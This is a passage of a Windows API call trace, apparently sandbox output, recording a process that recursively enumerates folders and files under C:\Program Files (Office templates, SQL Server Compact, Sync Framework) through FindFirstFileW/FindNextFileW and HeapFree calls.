	[0257.605] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.605] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0
	[0257.605] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.605] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0257.605] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1
	[0257.605] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0257.606] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.606] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0257.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0257.606] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.606] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1
	[0257.606] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0257.606] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.606] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0
	[0257.606] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0257.606] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0257.606] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
	[0257.606] FindClose (in: hFindFile=0x41b2090 | out: hFindFile=0x41b2090) returned 1
	[0257.606] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3a80080 | out: hHeap=0x4a0000) returned 1
	[0257.607] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1
	[0257.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0257.628] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.628] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0257.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.702] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.702] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0257.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.703] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.703] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0257.703] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.703] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.703] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1
	[0257.703] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.704] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.704] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0257.704] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0257.704] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3a80080 | out: hHeap=0x4a0000) returned 1
	[0257.704] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1
	[0257.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0257.704] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.704] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1
	[0257.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.704] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.704] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1
	[0257.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.705] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.705] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0257.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.705] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.705] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1
	[0257.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0257.705] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.705] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1
	[0257.706] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0257.706] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0257.706] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0
	[0257.706] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.706] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.706] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0257.706] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.706] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.706] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1
	[0257.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.706] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.706] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
